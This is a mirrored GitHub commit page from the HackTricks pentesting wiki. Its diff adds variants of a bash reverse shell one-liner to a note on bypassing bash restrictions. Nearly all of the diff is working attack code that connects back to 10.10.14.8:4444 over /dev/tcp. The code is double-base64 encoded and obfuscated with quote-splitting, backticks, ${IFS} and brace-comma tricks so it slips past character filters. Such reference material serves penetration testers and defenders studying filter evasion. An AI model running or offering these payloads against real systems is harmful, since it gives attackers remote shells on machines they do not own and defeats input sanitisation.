Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update bypass-bash-restrictions.md

Browse source 
Add IFS / form
This commit is contained in:
unKn0wnUser453 2021-02-16 18:01:17 -05:00 committed by GitHub
parent 7260cada20
commit 8551e2f6ab
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 2 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
linux-unix/useful-linux-commands/bypass-bash-restrictions.md
View file

@ -3,8 +3,10 @@
## Reverse Shell
```sh
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|base''64 -d|base''64 -d|b''a''s''h;" | sed 's/ /${IFS}/g'
echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|base''64${IFS}-d|base''64${IFS}-d|b''a''s''h;
echo "ec``ho $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#ec``ho${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
echo "{ec``ho $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h}" | sed 's/ /,/g'
#{ec``ho,WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4,-''d|ba''se''64,-''d|b''a''s''h}
```
## Bypass Paths and forbidden commands
```sh